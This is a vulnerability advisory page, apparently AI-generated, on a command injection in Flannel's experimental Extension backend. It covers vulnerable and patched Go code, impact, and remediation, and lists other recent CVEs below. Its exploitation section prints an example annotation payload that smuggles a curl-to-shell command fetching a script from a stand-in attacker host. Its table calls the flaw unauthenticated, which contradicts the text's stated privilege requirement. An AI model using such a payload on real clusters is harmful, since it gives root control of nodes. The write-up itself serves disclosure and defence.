CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



CVE-2026-32241

CVE-2026-32241: Command Injection in Flannel Experimental Extension Backend

Amit Schendel
Amit Schendel
Senior Security Researcher

Mar 27, 2026·6 min read·33 visits

Executive Summary (TL;DR)

The Flannel experimental Extension backend evaluates unsanitized node annotation data through a shell wrapper. Attackers with RBAC permissions to modify Node objects can inject shell commands, achieving root-level execution on the Kubernetes node.

Flannel versions prior to 0.28.2 contain a high-severity command injection vulnerability in the experimental Extension backend. Unsanitized Kubernetes Node annotations are passed directly to a system shell, permitting an attacker with node modification privileges to execute arbitrary commands with root permissions on the host.

Vulnerability Overview

Flannel is a network fabric designed for Kubernetes clusters. It supports multiple backends to manage container networking, including an experimental Extension backend. This backend allows administrators to prototype custom networking logic using external scripts or binaries.

Versions of Flannel prior to 0.28.2 contain a command injection vulnerability (CWE-77) within this Extension backend. The flaw occurs when the backend processes subnet lifecycle events and reads configuration data from Kubernetes Node annotations. The application fails to sanitize this input before passing it to a system shell.

An attacker with low-level Kubernetes RBAC permissions can exploit this flaw by modifying a Node's annotations. The vulnerability yields arbitrary command execution with root privileges on the underlying host node. The attack complexity is elevated because the cluster must explicitly enable the experimental Extension backend.

Root Cause Analysis

The root cause lies in the Extension backend's reliance on shell wrappers to execute user-defined hooks. Flannel triggers commands during lifecycle events such as PreStartupCommand, PostStartupCommand, SubnetAddCommand, and SubnetRemoveCommand. These hooks are designed to pass relevant subnet data to external scripts for processing.

In vulnerable versions, the application reads data from the flannel.alpha.coreos.com/backend-data Node annotation. The application unmarshals this JSON data and pipes it directly into the configured command. Crucially, the execution mechanism utilizes the sh -c pattern to evaluate the command string.

Passing unsanitized, user-controlled input into a shell wrapper creates a textbook command injection condition. The shell interpreter evaluates metacharacters within the input stream. An attacker can use semicolons, backticks, or command substitution constructs to break out of the intended command context and execute arbitrary system commands.

The vulnerability requires the attacker to control the contents of the backend-data annotation. Kubernetes API access controls govern this annotation. Once the attacker injects the payload, the Flannel daemon automatically processes the annotation update or the next subnet event, triggering the payload execution.

Code Analysis

Analysis of the vulnerable code reveals the unsafe command execution pattern in the subnet event handler. The runCmd function wraps the execution logic and accepts the attacker-controlled backendData as input. This input is formatted and passed to the sh binary along with the user-defined command string.

The vulnerable implementation operates identically to the following pattern:

// Vulnerable execution pattern
cmd_output, err := runCmd([]string{
    fmt.Sprintf("SUBNET=%s", evt.Lease.Subnet),
    fmt.Sprintf("PUBLIC_IP=%s", evt.Lease.Attrs.PublicIP)},
    backendData, // Attacker-controlled JSON payload
    "sh", "-c", n.subnetAddCommand)

The application passes the backendData directly to the shell, allowing the shell to parse and execute any embedded metacharacters.

Commit 08bc9a4c990ae785d2fcb448f4991b58485cd26a mitigates this flaw by eliminating the shell wrapper entirely. The patch transitions the execution model to use the os/exec package directly. Commands are split into discrete arguments using strings.Fields, preventing the operating system from interpreting shell metacharacters.

The patched code also introduces a custom expandVars function to handle environment variable interpolation safely.

// Patched implementation excerpt
func expandVars(envMap map[string]string, args []string) []string {
    expanded := make([]string, len(args))
    for i, a := range args {
        expanded[i] = os.Expand(a, func(key string) string { return envMap[key] })
    }
    return expanded
}

This function uses os.Expand with a strictly controlled environment map, ensuring that user-provided data cannot manipulate the command structure.

Exploitation Methodology

Exploiting CVE-2026-32241 requires network access to the Kubernetes API server. The attacker must possess credentials or a service account token with RBAC permissions that allow updating Node resources. Specifically, the attacker needs the ability to modify Node annotations.

The attacker initiates the attack by crafting a malicious payload formatted as JSON. This payload includes standard shell command separators followed by the target command. The attacker writes this payload to the flannel.alpha.coreos.com/backend-data annotation on a target Node object.

An example payload takes the form {"key": "value; curl http://attacker.com/shell.sh | sh;"}. Once the Kubernetes API server accepts the Node update, the Flannel daemon running on the respective node observes the change. The daemon unmarshals the annotation and invokes the Extension backend hook.

The Flannel process passes the payload string to the shell wrapper. The shell executes the benign portion of the payload, reaches the semicolon, and subsequently executes the attacker's injected command. The command runs within the context of the Flannel daemon, which typically operates as root on the host system.

Impact Assessment

Successful exploitation of this vulnerability yields complete compromise of the affected Kubernetes node. The Flannel daemon requires elevated privileges to manage host networking interfaces, routing tables, and iptables rules. Consequently, the injected command executes with root privileges on the underlying host operating system.

An attacker with root access to a Kubernetes node can access sensitive files, including Kubelet credentials, pod service account tokens, and mounted secrets. These credentials facilitate lateral movement across the cluster. The attacker can escalate privileges within the Kubernetes control plane or access data residing in other pods scheduled on the compromised node.

The CVSS v3.1 vector is CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H, resulting in a base score of 7.5 (High). The high attack complexity (AC:H) reflects the specific configuration requirement: the cluster must utilize the experimental Extension backend. The low privilege requirement (PR:L) indicates the need for basic Kubernetes API access.

The impact remains isolated to clusters explicitly configured to use the experimental backend. Clusters utilizing the default vxlan, wireguard, or host-gw backends are not vulnerable to this specific attack path.

Remediation and Mitigation

The primary remediation strategy requires upgrading the Flannel daemonset to version 0.28.2 or later. Administrators should apply the updated manifests to the Kubernetes cluster. The daemonset upgrade will restart the Flannel pods across all nodes, applying the patched os/exec implementation.

Administrators who cannot immediately patch the deployment must disable the experimental Extension backend. Flannel supports several stable, production-ready backends that do not execute user-defined scripts. Switching the network configuration to use vxlan or wireguard completely eliminates the vulnerable code path.

Defense-in-depth measures include restricting Kubernetes RBAC permissions. Administrators should audit roles and clusterroles to ensure that only trusted identities possess the ability to modify Node resources. Removing the patch and update verbs for Node objects from untrusted service accounts limits the attack surface.

Security teams should monitor Kubernetes audit logs for suspicious modifications to Node annotations. Specifically, alerts should trigger on unauthorized changes to the flannel.alpha.coreos.com/backend-data key. Detecting shell metacharacters within this annotation provides a strong indicator of attempted exploitation.

Official Patches

flannel-ioGitHub Security Advisory
flannel-ioFlannel v0.28.2 Release Notes

Fix Analysis (1)

Technical Appendix

CVSS Score
7.5/ 10
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H

Affected Systems

flannel-io/flannel < 0.28.2

Affected Versions Detail

Product
Affected Versions
Fixed Version
flannel
flannel-io
< v0.28.2v0.28.2
AttributeDetail
CWE IDCWE-77
Attack VectorNetwork
Privileges RequiredLow (Node Annotation Access)
CVSS v3.1 Score7.5 (High)
Exploit StatusUnauthenticated RCE (Host Root)
Patched Versionv0.28.2

MITRE ATT&CK Mapping

T1059Command and Scripting Interpreter
Execution
CWE-77
Command Injection

Improper Neutralization of Special Elements used in a Command ('Command Injection')

Vulnerability Timeline

Official fix commit pushed to the Flannel repository.
2026-03-09
Vulnerability publicly disclosed and CVE-2026-32241 assigned.
2026-03-27
Version v0.28.2 released containing the patch.
2026-03-27

References & Sources

  • [1]NVD - CVE-2026-32241
  • [2]GitHub Advisory: GHSA-vchx-5pr6-ffx2
  • [3]Fix Commit: 08bc9a4c990ae785d2fcb448f4991b58485cd26a

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.

More Reports

•about 1 hour ago•CVE-2026-62988
9.0

CVE-2026-62988: Multi-Factor Authentication and Credential Bypass in Froxlor API

An insecure data retrieval flaw in the Froxlor server administration panel API allows authenticated remote attackers to retrieve unredacted bcrypt password hashes and Base32-encoded Time-Based One-Time Password (TOTP) seeds. Affected endpoints include several 'get' and 'listing' handlers for customers, administrators, and FTP accounts. Utilizing these leaked parameters, attackers can crack the password hashes offline and concurrently generate valid second-factor authentication codes to completely bypass access controls.

Amit Schendel
Amit Schendel
0 views•6 min read
•about 2 hours ago•CVE-2026-70666
7.4

CVE-2026-70666: Server-Side Request Forgery in Netflix Lemur ACME Authority Management

CVE-2026-70666 is a critical Server-Side Request Forgery (SSRF) vulnerability in Netflix Lemur's ACME certificate management integration. Prior to version 1.9.3, the system allowed authority-role users to bypass initial ACME URL allowlist validations when updating an existing authority. Additionally, the underlying ACME network client blindly parsed and connected to dynamic endpoint URLs supplied in JSON responses from the configured ACME directory, allowing attackers to route arbitrary JWS-signed requests to internal services or cloud metadata endpoints.

Alon Barad
Alon Barad
1 views•5 min read
•about 3 hours ago•CVE-2026-70667
6.3

CVE-2026-70667: Server-Side Request Forgery Bypass in Netflix Lemur Certificate Verification

A security vulnerability in Netflix Lemur, a TLS certificate management framework, allows authenticated operators to bypass Server-Side Request Forgery (SSRF) mitigations. The issue exists within the certificate revocation verification workflow, specifically inside the CRL and OCSP retrieval logic. By exploiting HTTP redirects or DNS rebinding (Time-of-Check Time-of-Use) mechanisms, an attacker can coerce the server into issuing arbitrary network requests to internal services, such as the cloud instance metadata service (IMDS) or loopback addresses. This bypass neutralizes previous network-boundary validation logic and allows blind read/write SSRF targeting internal infrastructure resources.

Amit Schendel
Amit Schendel
2 views•6 min read
•about 4 hours ago•CVE-2026-71303
7.7

CVE-2026-71303: Server-Side Request Forgery Bypass in Netflix Lemur Authority Updates

Netflix Lemur, an open-source TLS certificate management framework, is affected by a Server-Side Request Forgery (SSRF) vulnerability. This vulnerability arises from an incomplete patch for a previous security flaw, CVE-2026-55166. While Lemur version 1.9.2 validated the ACME directory URL against an allowlist during authority creation, it failed to perform the same checks when updating existing authorities. An authenticated user possessing an authority role can exploit this omission to replace the directory URL with internal or cloud metadata endpoints. During subsequent certificate issuance, the Lemur backend executes unauthorized requests, potentially leaking sensitive metadata or credentials.

Amit Schendel
Amit Schendel
3 views•6 min read
•about 5 hours ago•CVE-2026-71307
7.7

CVE-2026-71307: Plaintext Credential Exposure in Netflix Lemur Destinations API

An authorization bypass and information disclosure vulnerability in Netflix Lemur before version 1.9.3 allows authenticated, low-privilege users to retrieve raw destination configurations, exposing plaintext credentials such as SFTP passwords and private key passphrases.

Amit Schendel
Amit Schendel
2 views•6 min read
•about 6 hours ago•CVE-2026-71308
8.1

CVE-2026-71308: Missing Authorization and Lifecycle Hijacking in Netflix Lemur

Netflix Lemur before 1.9.3 contains a missing authorization vulnerability (CWE-862, CWE-639) when handling certificate creation, upload, or modification. Authenticated non-read-only users can manipulate the replaces parameter to silence expiration notifications and hijack certificate rotation tasks for arbitrary targets, leading to unauthorized TLS certificate deployment and traffic interception.

Alon Barad
Alon Barad
8 views•7 min read